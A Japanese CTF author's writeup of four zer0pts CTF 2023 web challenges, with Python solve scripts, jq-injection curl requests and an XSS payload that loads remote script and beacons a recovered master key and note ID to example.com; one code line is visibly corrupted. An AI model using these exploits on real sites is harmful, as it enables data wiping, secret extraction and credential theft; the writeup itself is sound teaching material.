st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

zer0pts CTF 2023で出題した問題の解説

(English version: zer0pts CTF writeup (in English))

チームzer0ptsは、2023年7月15日から2023年7月16日にかけてzer0pts CTF 2023を開催しました。

この記事では、私がzer0pts CTF 2023で出題したWebカテゴリの4問*1について、作問者の視点で想定していた解法やその意図を紹介したいと思います。なお、今回出題した問題については、GitHubリポジトリで公開しています。

リンク:


[Web 137] Warmuprofile (48 solves)

I made an app to share your profile.

Note: Click "Spawn container" to make a challenge container only for you. When writing exploits, be careful that the container asks for BASIC auth credentials.

(URL)

添付ファイル: warmuprofile_80841914cb6ef9b9cdb84c3234ff8704.tar.gz

問題の概要

プロフィールを作成できるサービスです。

適当なユーザ名で登録すると、以下のようにメニューが表示されました。自分自身のプロフィールを確認したり、あるいはプロフィールを削除したりできるようです。フラグを確認できるリンクもありますが、これはadminのみが閲覧できるようです。

ほかの問題と異なり、この問題の問題サーバでは tyage/container-spawner でユーザごとにコンテナを立てられるようになっています。あえてこのような仕様になっていることから、ユーザごとに環境を用意しなければならないような事情がある、たとえば全ユーザに影響のあるような攻撃をする必要があるということが推測できます。

フラグを閲覧できる条件

ソースコードを見ていきましょう。まずはフラグを読める条件を確認します。対応する箇所はシンプルで、セッションに保存された username というプロパティ、つまり現在ログインしているユーザ名が admin であればフラグが表示されるようです。

app.get('/flag', needAuth, (req, res) => {
    if (req.session.username !== 'admin') {
        flash(req, 'only admin can read the flag');
        return res.redirect('/');
    }

    return res.render('flag', { chall_name: CHALL_NAME, flash: getFlash(req), flag: FLAG });
});

では、admin としてログインはできないでしょうか。コードを見てみると、最初に admin というユーザが作成されていることがわかります。そのパスワードはUUIDv4とランダムに設定されており、推測やブルートフォースは難しそうです。

await User.create({
    username: 'admin',
    password: crypto.randomUUID(),
    profile: 'Hi, I am admin.'
});

ログイン処理で何か悪いことができないか確認します。このアプリではSequelizeというORMを使っているので、たとえばJSONを使って usernamepassword にオブジェクトを仕込み、NoSQLインジェクションのように認証をバイパスするということを考えてしまいますが、残念ながらここではいずれも文字列であるかどうか確認されています。

app.post('/login', async (req, res) => {
    // make sure given username and password are valid
    const { username, password } = req.body;
    if (!username || !password) {
        flash(req, 'username or password not provided');
        return res.redirect('/login');
    }
    if (typeof username !== 'string' || typeof password !== 'string') {
        flash(req, 'invalid username or password');
        return res.redirect('/login');
    }

    // then check if there is a user with given username nad password
    const user = await User.findOne({
        where: { username, password }
    });
    if (user == null) {
        flash(req, 'invalid username or password');
        return res.redirect('/login');
    }

    // okay, it exists. store user information in session
    req.session.loggedIn = true;
    req.session.username = user.username;

    return res.redirect('/');
});

登録時も同様です。admin というユーザを重複して作成できないかということも考えてしまいますが、このAPIでは登録しようとしているユーザ名がすでに使われていないか確認されていますし、そもそもORMで unique: true という設定が username プロパティにされています。

app.post('/register', async (req, res) => {
    // make sure given username and password are valid
    const { username, password, profile } = req.body;
    if (!username || !password || !profile) {
        flash(req, 'username, password, or profile not provided');
        return res.redirect('/register');
    }
    if (typeof username !== 'string' || typeof password !== 'string' || typeof profile !== 'string') {
        flash(req, 'invalid username, password, or profile');
        return res.redirect('/register');
    }

    // make sure that the requested username does not exist
    const user = await User.findOne({
        where: { username }
    });
    if (user != null) {
        flash(req, 'user exists');
        return res.redirect('/register');
    }

    // okay, create a user
    await User.create({
        username, password, profile
    });

    req.session.loggedIn = true;
    req.session.username = username;

    return res.redirect('/');
});

adminの削除

ここまでアプリにある機能に悪用できるものがないか見てきました。残るはユーザの削除機能です。ここで admin を削除できれば、同じ名前で再度登録することで admin というユーザ名を奪い取ることができます。最初にログインしているユーザ名と、削除しているユーザの名前とが一致しているかをチェックしており、これによって別のユーザが admin を直接削除することは防がれています。が、もうちょっと見てみましょう。

なぜか、ここではセッションに保存されているユーザ名を直接 User.destroy({ where: { username } }) のように指定せず、そのユーザ名に対応するユーザ情報を User.findOne で取得した上で、そのユーザ情報に含まれるデータでレコードを絞って削除しています。

app.post('/user/:username/delete', needAuth, async (req, res) => {
    const { username } = req.params;
    const { username: loggedInUsername } = req.session;
    if (loggedInUsername !== 'admin' && loggedInUsername !== username) {
        flash(req, 'general user can only delete itself');
        return res.redirect('/');
    }

    // find user to be deleted
    const user = await User.findOne({
        where: { username }
    });

    await User.destroy({
        where: { ...user?.dataValues }
    });

    // user is deleted, so session should be logged out
    req.session.destroy();
    return res.redirect('/');
});

username はユニークなので一見問題ないように見えますが、もし、User.findOne で何もヒットしなければどうなるでしょうか。どうやるかというのはおいておいて、コードを書いて試してみます。同じ User というオブジェクトがあり、またすでに admin というユーザが登録されている状況を想定します。そのうえで、以下のように存在しているユーザ名と、存在していないユーザ名でそれぞれ findOne をしてみます。

function query(username) {
    return User.findOne({ where: { username } });
}

console.log((await query('admin')) + '');
console.log((await query('this-user-does-not-exist')) + '');

実行します。存在しないユーザ名で findOne をした場合、つまり条件に合うユーザが存在しない場合には null が返り値となるようです。

~/app # node index.js 2>/dev/null
[object SequelizeInstance:User]
null

では、そのまま usernull が入ったまま、以降のユーザの削除処理に進んだ場合にはどうなるでしょうか。User.destroy の引数で { ...user?.dataValues }user のプロパティを展開していますが、ここで usernull であるため、オプショナルチェーン演算子の効果で user?.dataValuesundefined になります。そのため、ここでは User.destroy({ where: {} }) が実行されることになります。

User.destroy({ where: {} }) が実行されるとどうなるか検証してみましょう。先ほど検証に使ったスクリプトについて、以下のような変更を加えます。

function query(username) {
    return User.findOne({ where: { username } });
}

console.log((await query('admin')) + '');
await User.destroy({ where: {} });
console.log((await query('admin')) + '');

実行すると、User.destroy の実行後には admin というユーザが削除されていることがわかります。

~/app # node index.js 2>/dev/null
[object SequelizeInstance:User]
null

何が起こっているのでしょうか。実行されているSQL文をチェックすると、以下のように WHERE 句のない DELETE が実行されており、このためにすべてのユーザが削除されてしまっていることがわかります。

[object SequelizeInstance:User]
Executing (default): DELETE FROM `Users`
Executing (default): SELECT `id`, `username`, `password`, `profile`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE `User`.`username` = 'admin';
null

これは使えそうですが、どうやってログイン状態を保ちつつ、User.findOne でユーザがヒットしない状況を作れるでしょうか。答えは「2つのセッションを使う」という方法です。

いったん適当なユーザ名のユーザを作成してログインし、その状態でシークレットウィンドウなどを使って、同じユーザでログインします。このとき、そのユーザでログインしている(つまり、req.session.username が同じ)2つのセッションが存在していることになります。

このとき、一方のセッションでユーザを削除するとどうなるでしょうか。そのセッションでは req.session.destroy() によってログイン状態が解除されますが、もう一方のセッションは破棄されず、したがって実際にはすでにそのユーザは存在していないにもかかわらず、ログイン状態が維持されます。

そのまま、ログイン状態のままであるセッションでユーザを削除しようとすると、loggedInUsername !== username でないという条件を満たしているため、以降の削除処理に進みます。そして、User.findOne ですでに削除されたユーザを検索してしまうため、その返り値として null が返ってきてしまうというわけです。

フラグを得る

これで、以下のような流れで admin を含むすべてのユーザの情報を削除できることがわかりました:

  1. ユーザを作成する
  2. 別のセッションで、1で作成したユーザとしてログインする
  3. 手順1で作成されたセッションでユーザを削除する
  4. 手順2で作成されたセッションでユーザを削除する

これをスクリプトにします。ついでに、削除後に admin というユーザを作成します。

import uuid
import requests

HOST = 'http://localhost:3000'
USERNAME, PASSWORD = 'test', 'test'

u, p = str(uuid.uuid4()), str(uuid.uuid4())
s1 = requests.Session()
s1.auth = USERNAME, PASSWORD
s1.post(f'{HOST}/register', data={
    'username': u,
    'password': p,
    'profile': 'aaa'
})

s2 = requests.Session()
s2.auth = USERNAME, PASSWORD
s2.post(f'{HOST}/login', data={
    'username': u,
    'password': p
})
s1.post(f'{HOST}/user/{u}/delete')
s2.post(f'{HOST}/user/{u}/delete')

s3 = requests.Session()
s3.auth = USERNAME, PASSWORD
s3.post(f'{HOST}/register', data={
    'username': 'admin',
    'password': 'admin',
    'profile': 'aaa'
})

print(s3.get(f'{HOST}/flag').text)

実行すると、フラグが得られました。

$ python3 solve.py
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Flag - Warmuprofile</title>
    <link rel="stylesheet" href="https://unpkg.com/sakura.css/css/sakura.css" type="text/css">
    <link rel="stylesheet" href="/style.css" type="text/css">
</head>
<body>
    <h1>Flag</h1>

    <p>Congratulations! The flag is: <code>zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}</code></p>
</body>
</html>
zer0pts{fire_ice_storm_di_acute_brain_damned_jugem_bayoen_bayoen_bayoen_10cefab0}

作問の背景など

first bloodはCyberHeroでした。おめでとうございます。ぷよぷよはあまり遊んだことがありませんが、ユーザを「全消し」するということでこんなフラグにしました。JavaScriptで書かれているWeb問で、ユーザごとに環境が分離されていればPrototype Pollution! …というわけではありません。メタ読みとしてはこういう破壊的な攻撃をするんだろう、そのひとつとしてPrototype Pollutionがあり得るかもぐらいにとどめておくとよいかもしれません。

この問題ははじめからwarmup問として作成したものでした。解いた後に振り返ってみると簡単だと感じられるけれども、解いている途中は悩んでしまうというような問題を目指して作りました。非定型のビジネスロジックバグの問題を作りたかったというのもあります。「全消し」できるような状況を作るために、ユーザの削除処理でわざわざ User.findOne した結果を User.destroy で使っている上に、...user?.dataValues のようにオプショナルチェーンとスプレッド構文を使っていたのはちょっと露骨だったかもしれませんが、ちょっとした誘導として機能してくれることを期待してこうしました。セッションを2つ使わずとも、セッションデータの保存のタイミングの問題(race condition)を利用して1つだけで解いたチームもいるようです。

admin としてユーザ登録したいけれども、すでに同名のユーザが存在している。なんとかして削除や重複しての登録ができないだろうかというアイデアから、それに関連するコードを確認して脆弱性を見つけるというのが想定解法の流れになっていますが、ガチャガチャと適当に試していたら偶然怪しい挙動を見つけた、先に User.destroy({ where: {} }) が全削除という挙動を取ることを知って、それで何ができるか考えて展開させていったというようなアプローチで解かれた方もいらっしゃるかもしれません。

warmupとした問題がまったく解かれず、warmupタグのついていない同カテゴリのほかの問題の方がsolvesが多いという状況は作りたくないなあと思っています。この問題は序盤になかなかsolvesが増えず、そもそもfirst bloodが出たのも開始から40分ちょっとが経ってようやくというような状況でした。最終的にそこそこのsolvesが出たのはよかったものの、warmupらしい問題ではなかったかもしれません。すみませんでした*2

[Web 149] jqi (40 solves)

I think jq is useful, so I decided to make a Web app that uses jq.

(URL)

添付ファイル: jqi_e088823cd8a1f29b076271e3e8e5e4da.tar.gz

問題の概要

jqは便利ですよね。与えられたURLにアクセスすると、次のように昨年のzer0pts CTFで出題されたいくつかの問題の情報が表示されます。Keys のチェックを外すことで、出力される情報を減らすことができます。たとえば、NameFlag だけにチェックを入れておくと、問題名とフラグだけが表示されます。

Add condition というボタンを押すことで、ある項目にある文字列が含まれている問題だけを表示することができる…はずなのですが、いざ検索ボタンを押すと "Error: sorry, you cannot use filters in demo version" と怒られてしまいます。このアプリはまだデモ版で、検索機能は使えないようです。

コードを見ていきましょう。まずフラグの場所ですが、docker-compose.yml から環境変数にあることがわかります。

version: '3'
services:
  app:
    build: .
    ports:
      - "8300:3000"
    environment:
      - FLAG=nek0pts{FAKE_FLAG}
    restart: always

メインのコードである index.js を見ていきます。短いので以下にそのまま載せます。問題文の通りに、ユーザのリクエストをもとにjqのクエリを組み立てて、data.json の内容を抽出していることがわかります。なお、環境変数のフラグはどこからも参照されていません。

import fs from 'node:fs/promises';

import Fastify from 'fastify';
import jq from 'node-jq';

const fastify = Fastify({
    logger: true
});

const indexHtml = await fs.readFile('./index.html');
fastify.get('/', async (request, reply) => {
    reply.type('text/html').send(indexHtml);
});

const KEYS = ['name', 'tags', 'author', 'flag'];
fastify.get('/api/search', async (request, reply) => {
    const keys = 'keys' in request.query ? request.query.keys.toString().split(',') : KEYS;
    const conds = 'conds' in request.query ? request.query.conds.toString().split(',') : [];

    if (keys.length > 10 || conds.length > 10) {
        return reply.send({ error: 'invalid key or cond' });
    }

    // build query for selecting keys
    for (const key of keys) {
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }
    }
    const keysQuery = keys.map(key => {
        return `${key}:.${key}`
    }).join(',');

    // build query for filtering results
    let condsQuery = '';

    for (const cond of conds) {
        const [str, key] = cond.split(' in ');
        if (!KEYS.includes(key)) {
            return reply.send({ error: 'invalid key' });
        }

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

        condsQuery += `| select(.${key} | contains("${str}"))`;
    }

    let query = `[.challenges[] ${condsQuery} | {${keysQuery}}]`;
    console.log('[+] keys:', keys);
    console.log('[+] conds:', conds);

    let result;
    try {
        result = await jq.run(query, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });
    }

    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {
        reply.send(result);
    }
});
  
fastify.listen({ host: '0.0.0.0', port: 3000 }, (err, address) => {
    if (err) {
        fastify.log.error(err);
        process.exit(1);
    }
    console.log(`Server is now listening on ${address}`);
});

jq injection (jqi)

jqのクエリを組み立てて実行しているコードをよく見てみましょう。先ほど検索機能は使えないと言いましたが、以下の処理を見るとわかるように、あくまでユーザから検索の条件が与えられた場合に sorry, you cannot use filters in demo version というメッセージを出力するというだけで、検索の条件がある場合でもない場合でも、jqのクエリ自体は実行されています。

また、jqのクエリ実行時にエラーが発生すると、something wrong というメッセージが返されるということもわかります。もし、ここでSQL injectionのような脆弱性、いわばjq injection(jqi)があればどうでしょうか。Error-based SQL injectionのように、エラーが発生したかどうかということをoracleとして、1ビットずつ情報が得られるはずです。

    let result;
    try {
        result = await jq.run(query, './data.json', { output: 'json' });
    } catch(e) {
        return reply.send({ error: 'something wrong' });
    }

    if (conds.length > 0) {
        reply.send({ error: 'sorry, you cannot use filters in demo version' });
    } else {
        reply.send(result);
    }

jqiができないか、クエリの組み立て処理を見ていきます。与えられた条件は hoge in name のような形を取るわけですが、それを検索したい文字列の hoge、項目名の name の2つに分割します。そして、| select(.name | contains("hoge")) のように select) を使ってレコードを絞るクエリを組み立てています。

ここで、まず項目名が name, tags, author, flag のいずれかであるかチェックされています。検索したい文字列については、" もしくは \( が含まれていないかチェックすることで、文字列を途中で終了させたり、string interpolationを使ったりといった方法でのjqiを防ごうとしています。

        // check if the query is trying to break string literal
        if (str.includes('"') || str.includes('\\(')) {
            return reply.send({ error: 'hacking attempt detected' });
        }

しかし、バックスラッシュが使われているかどうかはチェックされていません。もし、検索したい文字列として \ を指定した場合はどうなるでしょうか。作り出されるクエリは | select(.name | contains("\")) のようになり、このクエリ中の2つ目の " は文字列中の1文字として解釈され、文字列を破壊することができます。

検索したい項目は複数指定することができます。1つ目に \ in name を指定してjqiを起こしつつ、2つ目で辻褄を合わせて、フラグを抽出するようなペイロードを作り上げていきましょう。

jqでは、(マニュアルには書かれていないようですが)# を使うことでコメントアウトができます。これを使って、2つ目の検索項目で ))]|123# in name と指定することで、最終的に実行されるクエリは [.challenges[] | select(.name | contains("\"))| select(.name | contains("))]|123 相当になり、これはjqの文法上問題ないため、エラーは発生しません。123 を適当なものに変えていくことで、フラグを得られないでしょうか。

Error-based jq injection

Error-based SQLiのようにエラーの有無をoracleとしたいわけですが、そのためにある条件を満たした際にエラーを発生させ、満たしていなければエラーは発生させないようなクエリの組み立て方を考えます。エラーといえばゼロ除算です。jqでも、以下のように1/0を計算しようとするとエラーが発生します。

$ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/1)%23+in+name"
{"error":"sorry, you cannot use filters in demo version"}
$ curl -g "http://jqi.2023.zer0pts.com:8300/api/search?keys=name%2Ctags%2Cauthor%2Cflag&conds=\+in+name%2C))]|(1/0)%23+in+name"
{"error":"something wrong"}

このとき、条件を満たしているときには1を0で割り、満たしていないときには1を1で割るようにすることで、エラーの発生の有無から条件を満たしているかどうかという1ビットの情報が得られるようになります。

フラグを得る方法を考えていきます。実は、jqでは env.FLAG のように env を使うことで環境変数にアクセスができます。そして、env.FLAG[0:1] のようにして部分文字列を得られます。

1文字ずつ a, b, c, …のように文字列を作っていき、それとフラグのある1文字が一致しているかをブルートフォースで比較することで、フラグを1文字ずつ抽出することを考えます。フィルターによって " は使えませんが、jqには implode があり、これを使うことで [123]|implode # "{" のように文字列を作ることができます。あとは、以下のようにして1文字ずつフラグが得られます。

$ export FLAG=zer0pts{DUMMY}
$ echo {} | jq "1/(if (env.FLAG[0:1]==([122]|implode)) then 0 else 1 end)"
jq: error (at <stdin>:1): number (1) and number (0) cannot be divided because the divisor is zero
$ echo {} | jq "1/(if (env.FLAG[0:1]==([123]|implode)) then 0 else 1 end)"
1

フラグを得る

あとはスクリプトに落とし込むだけです。最終的に、以下のようなexploitができあがりました。

import requests

HOST = 'http://jqi.2023.zer0pts.com:8300'

def query(i, c):
    r = requests.get(f'{HOST}/api/search', params={
        'keys': 'name,author',
        'conds': ','.join(x for x in [
            '\\ in name',
            f'))]|env.FLAG[{i}:{i+1}]as$c|([{c}]|implode|1/(if($c==.)then(1)else(0)end))# in name'
        ])
    })
    return 'demo version' in r.json()['error']

i = 0
flag = ''
while not flag.endswith('}'):
    for c in range(0x20, 0x7f):
        if query(i, c):
            flag += chr(c)
            continue
    print(i, flag)
    i += 1

実行すると、フラグが得られます。

$ python3 solve.py
0 z
1 ze
2 zer
3 zer0
4 zer0p
5 zer0pt
6 zer0pts
7 zer0pts{
8 zer0pts{1
9 zer0pts{1d
…
zer0pts{1dk_why_1t_uses_jq}

作問の背景など

first bloodはcat :flag_kr:でした。おめでとうございます。フラグは皆さんの気持ちを代弁したものです。頑張れば二分探索で高速化できると思いますが、楽なのはブルートフォースだということで、総当たりする場合でもなるべく時間がかからないよう短いフラグにしています。言うほど短くないかもしれません。なんでjqかという話ですが、特に理由はありません。ちなみに、jqによる検索対象がzer0pts CTFの過去問となっているのは、私が好きな問題のひとつであるSECCON 2019 Online CTFのSPAが元ネタです。解法はまったく関係ありませんが。

SQL injectionはもはや出涸らしといえるレベルでCTFで出題されているわけですが、Boolean-based SQLi, Error-based SQLiといったアイデアは、(例えが微妙ですが)XPath injectionやLDAP injectionといった似た脆弱性でも応用できることがあります。今回はjq injectionという謎の脆弱性を悪用する問題でしたが、そういった形ですでにあるアイデアを応用できるか、また未知の脆弱性であってもドキュメントやソースコードを読んで必要な情報を集め、exploitするところまでたどり着けるかというところに出題の意図があります。

そのexploitの組み立てについて、エラーの発生を制御する方法や、どういった条件でエラーを発生させるようにするかという方法は色々あると思います。前者については、上記の想定解法ではゼロ除算を使いましたが、jqには errorhalt_error というまさにそのための機能があるので、これらも使えたかと思います。後者は、上記の想定解法では env.FLAG[12:13] のようにフラグの一部を文字列として取り出して、[123]|implode のようにして生成した文字列と比較するという方法をとりましたが、(env.FLAG|explode)[12] のようにまずフラグを数値の配列にして1文字ずつ取り出す方法であるとか、これは問題のテスト時にptr-yudaiさんが採用していた方法ですが、startswithenv.FLAG と別途生成した文字列を比較するということもできます。

ところで、本番サーバにsqlmapやgobusterをぶつけるのはやめてください*3🥺 何も有用なリソースは見つからないですし、docker-compose.yml ごとソースコードを配布しているので、せめてローカルで環境を用意して試してください🥺

[Web 181] Neko Note (26 solves)

I made another note app.

(URL)

添付ファイル: neko-note_9c9190afaa278a9ea487dde554b4883f.tar.gz

問題の概要

CTF名物であるメモアプリです。

作成したメモは、Show the note というボタンを押すことで表示されます。

Neko Note特有の機能として、パスワードとほかのメモへのリンクがあります。まずパスワード機能ですが、これはメモの作成時にパスワードを指定すると、そのメモを閲覧するためにそのパスワードを入力しなければならないというものです。

ほかのメモへのリンク機能ですが、これは各メモにIDとして割り当てられているUUIDを [4314b692-e5c0-4b53-bb92-21f0193f7f0d] のようにブラケットで囲むことで、<a href=/note/4314b692-e5c0-4b53-bb92-21f0193f7f0d title=abc>abc</a> のようなリンクに置き換えてくれるというものです。

このアプリにはメモの通報機能があり、通報するとPlaywrightを使って書かれたbotがそのメモを閲覧しに来てくれます。このbotが行う動作は次の通りです。

  1. アプリのトップページにアクセス
  2. ランダムに生成したパスワードをかけつつ、フラグの書かれたメモを作成
  3. 通報されたメモを閲覧
    • もしパスワードがかけられていた場合は、マスターキー(どんなメモでも閲覧できるパスワード)で解錠する
    • メモが解錠でき次第すぐに input からマスターキーを削除する

フラグの書かれたメモのIDと、マスターキーもしくはそのメモのパスワードの両方を奪い取るということが、この問題でやるべきことになります。

const context = await browser.newContext();
const page = await context.newPage();

// post a note that has the flag
await page.goto(`${BASE_URL}/`);

await page.type('#title', 'Flag');
await page.type('#body', `The flag is: ${FLAG}`);
const password = crypto.randomBytes(64).toString('base64');
await page.type('#password', password);

await page.click('#submit');

// let's check the reported note
await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
    // the note is locked, so use master key to unlock
    await page.type('input', MASTER_KEY);
    await page.click('button');

    // just in case there is a vuln like XSS, delete the password to prevent it from being stolen
    const len = (await page.$eval('input', el => el.value)).length;
    await page.focus('input');
    for (let i = 0; i < len; i++) {
        await page.keyboard.press('Backspace');
    }
}

// it's ready now. click "Show the note" button
await page.click('button');

// done!
await wait(1000);

await context.close();

XSS

このアプリでXSSができないか確認します。メモの表示処理を見てみると、以下のようにAPIから取得してきたメモの本文をそのまま innerHTML で設定しており、簡単にXSSができそうに見えます。

        function addUnlockedNote(content) {
            const element = unlockedTemplate.content.cloneNode(true);
            const div = element.querySelector('div');
            const button = element.querySelector('button');

            button.addEventListener('click', () => {
                div.innerHTML = conten取得
                button.remove();
            }, false);

            body.appendChild(element);
        }
            const req = await fetch(`/api/note/${id}`);
            const res = await req.json();
// …
                addUnlockedNote(note.body);

しかしながら、サーバ側のコードを見るとそこまで単純ではないことがわかります。メモの情報を返すAPIである /api/note/:id および /api/note/:id/unlock から呼び出されている renderNote では、以下のように html.EscapeString で危険な文字がエスケープされてしまっているためです。

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
    note = html.EscapeString(note)
    note = strings.ReplaceAll(note, "\n", "<br>")
    note = replaceLinks(note)
    return note
}

renderNote から呼び出されている replaceLinks という関数を見てみます。これは先ほど紹介したリンク機能を実現するもので、ブラケットで囲まれたIDがあれば、それをIDに対応するメモへのリンクに置き換える処理です。メモのタイトルでXSSができるかと思いきや、ここでも html.EscapeString で危険な文字がつぶされています。

しかしながら、よくみると置き換えた後のリンクでは、href 属性も title 属性も " で囲まれていないことがわかります。html.EscapeString" などがエスケープされてしまうという制約はありますが、メモのタイトルを使うことで属性のinjectionができそうです。

// replace [(note ID)] to links
func replaceLinks(note string) string {
    return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
        id := strings.Trim(s, "[]")

        note, ok := notes[id]
        if !ok {
            return s
        }

        title := html.EscapeString(note.Title)
        return fmt.Sprintf(
            "<a href=/note/%s title=%s>%s</a>", id, title, title,
        )
    })
}

試しに、a style=color:red というタイトルのメモを作成します。そして、そのメモへのリンクがある別のメモを作成します。すると、次のように style=color:red の効果で文字がリンクの赤色になり、属性でinjectionできることが確認できました。

さて、ここからリンクのクリックなどのユーザインタラクションなしにJavaScriptコードの実行に持ち込むにはどうすればよいでしょうか。ひとつの方法として onanimationend があります。これはCSSアニメーションの再生が終了した際に、設定されている属性値をJSコードとして実行する属性です。あわせて style 属性でこの要素に適当なCSSアニメーションを設定することで利用できます。

CSSアニメーションを設定するには、このアプリのどこかでキーフレームが定義されているという前提条件を満たしている必要があります。CSSを確認すると、ヘッダにいる猫がしっぽを揺らすキーフレームが定義されていました。

.cat:hover .tail {
    animation: wag 1s linear infinite;
}

@keyframes wag {
    0% { transform: rotateZ(0deg); }
    25% { transform: rotateZ(-10deg); }
    50% { transform: rotateZ(0deg); }
    75% { transform: rotateZ(10deg); }
}

これを使って、a onanimationend=alert(123) style=animation-name:wag;animation-duration:0s というタイトルのメモを作成し、さらにそのメモにリンクを張ります。作成されたメモを開いてやると、アラートが表示されました。

これまで作成したメモは localStorage に保存されているので、これの neko-note-history を参照するようなコードをbotに踏ませることで、フラグの書かれているメモのIDが取得できます。

        function setHistory(hist) {
            localStorage.setItem('neko-note-history', JSON.stringify(hist))
        }

マスターキーの窃取

これでフラグの書かれているメモのIDを盗み取ることができるようになりましたが、まだやるべきことがあります。マスターキー、もしくはフラグのメモに設定されているパスワードの窃取です。botは通報されたメモの閲覧時に、マスターキーを入力してメモを表示した後に、それを削除しているわけですが、何とかしてその内容を復元できないでしょうか。

"textarea" "undo" のようなクエリでググると、そのうち document.execCommand というメソッドの存在に気付くはずです。deprecatedと言われていますが、Chrome 114でもしぶとく生き残っています。このメソッドで実行できるコマンドの中に、undo があります。これを使うと、textareainput で文字列を入力する、あるいは削除するといったアクションについて、実行前の状態にundoできます。これを使えば、マスターキーの削除をなかったことにできないでしょうか。

先ほどの alert(123) を実行するペイロードについて、実行するコードを import(`//example.com`) のように変えて、実行したいJSコードを変えるためにいちいちメモの投稿をせずとも済むようにします。そして、以下のPHPコードを適当なWebサーバでホストして、準備完了です。

<?php
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
?>
alert(123);

フラグを得る

実行するJSコードを以下のように変えます。これで、フラグの書かれているメモのIDとあわせてマスターキーが手に入るはずです。

const h = localStorage.getItem('neko-note-history');
const id = JSON.parse(h)[0].id;
document.execCommand('undo');
const pw = document.querySelector('input').value;
navigator.sendBeacon(`https://example.com/?id=${id}&pw=${pw}`);

メモを通報すると、以下のようにフラグの書かれたメモのIDとマスターキーが得られました。

マスターキーを使ってこのメモを閲覧すると、フラグが得られました。

zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}

作問の背景など

first bloodはI should probably study for my exam insteadでした。おめでとうございます。フラグは問題名のNeko Noteとかけたダジャレです。猫の手も借りたい。ランダムっぽい部分はYouTubeの動画IDです。ササキトモコ先生の作った猫の曲(?)といえば「フレデリカ、猫やめるよ」「neko*neko」ですが、どちらも大好きです。

作問のコンセプトは…特にありません。MDNを眺めていたら document.execCommand('undo') でundoができることを偶然知り、それを問題として仕立て上げられないかと試行錯誤していたらできました。このメソッドとコマンドを見つけられるかどうかが重要となっているのにはどうなんだろうかと少し思います。26チームが解いているので問題はなかったと受け取ってよいでしょうか。

[Web 239] Plain Blog (14 solves)

I made a blog service consists of two servers: API server and Frontend server. The former provides APIs that you can see, add, or modify posts. The latter uses responses from API server and render it.
If you could get 1,000,000,000,000 likes on your post, I will give you the flag. The maximum number of likes is 5,000, though.

API server: (URL)
Frontend server: (URL)

添付ファイル: plain-blog_0ca2bbfebee2a86c919afa1fc29f1c41.tar.gz

問題の概要

CTF名物その2、ブログサービスです。この問題はAPIサーバとフロントエンドサーバの2つのサービスからなっています。前者はブログ記事の投稿やら記事情報の取得やらといった機能を持っているものの、レスポンスが全部JSONです。一方後者は、クロスオリジンにAPIサーバから情報を取得したり、あるいは新規に作成する記事の情報を投げたりしつつ、いい感じにユーザが使いやすいよう表示する役割を担っています。

ということで、とっつきやすいフロントエンドサーバから見て、機能を把握していきます。トップページは以下のスクリーンショットの通りで、上部には使い方(/#page=post&id=41071402-ea46-414b-899a-aaf4b2fc4b3b,a7a74a78-3a82-4c77-a042-f997398af586,1252b5db-7d35-4563-8e1e-4658a8c90daa のようなパスのサンプル記事へのリンクなど)、下部には記事の投稿ができるフォームがあります。

適当な記事を投稿してみましょう。以下のように、記事の内容といいねができるボタンが表示されました。

いいねボタンを押すと、その記事にいいねができます。

いいねボタンの隣にある appeal to admin to add 1,000 likes は、botへの記事の通報ができるフォームへのリンクになっています。

記事のIDを送信すると、一気に1000いいねがもらえました。

botの挙動は次の通りです。指定された記事を開き、いいねボタンを押しているだけです。複数の記事を同時に表示する機能もありますが、その際は最初に表示された記事のいいねボタンが押されます。

        const context = await browser.newContext();
        const page = await context.newPage();
        await page.setExtraHTTPHeaders({
            'Authorization': ADMIN_KEY
        });

        // let's check the reported post
        const url = `${BASE_URL}/#page=post&id=${id}&admin=yes`;
        await page.goto(url);
        await page.waitForSelector('.like', { timeout: 5000 });

        // click the first like button
        await page.click('.like');

        // done!
        await wait(1000);

        await context.close();

フラグが得られる条件

ソースコードを確認していきます。Rubyで書かれたAPIサーバを見ると、フラグを得られるAPIは /api/post/:id/has_enough_permission_to_get_the_flag であることがわかります。また、その記事の permission プロパティの、さらにその flag プロパティがtruthyであることがこのAPIがフラグを返す条件であることもわかります。

# the post has over 1,000,000,000,000 likes, so we give you the flag
get '/api/post/:id/has_enough_permission_to_get_the_flag' do
    id = params['id']
    if !posts.key?(id)
        return { 'error' => 'no such post' }.to_json
    end

    permission = posts[id]['permission']
    if !permission || !permission['flag']
        return { 'flag' => 'nope' }.to_json
    end

    return { 'flag' => FLAG }.to_json
end

では、post['permission']['flag'] がtruthyになる条件とはなんでしょうか。APIサーバでほかに flag プロパティを触っている箇所を探すと、いいねボタンを押した際にリクエストが飛ぶ POST /api/post/:id/like が見つかります。1,000,000,000,000(1兆)いいねをゲットすると、どうやらフラグを表示できるフラグが立つようです。

…が、そんなにリクエストを送っているうちにCTFが終わってしまいますし、そもそも迷惑です。そして、いいねには最大値として5000個が設定されており、それを超えるいいねは付与できないようになっています。したがって、1兆いいねの付与によるフラグの取得はできなそうです。

ところで、ここで ADMIN_KEY という定数が登場しています。先ほど紹介したbotは Authorization ヘッダにこの ADMIN_KEY に入っている文字列を設定しつつ、記事を閲覧しに来ます。APIサーバはこれで特別な権限を持ったユーザ(admin)であるかを判断しているわけです。

MAX_LIKES = 5000
# …
post '/api/post/:id/like' do
    id = params['id']
    if !posts.key?(id)
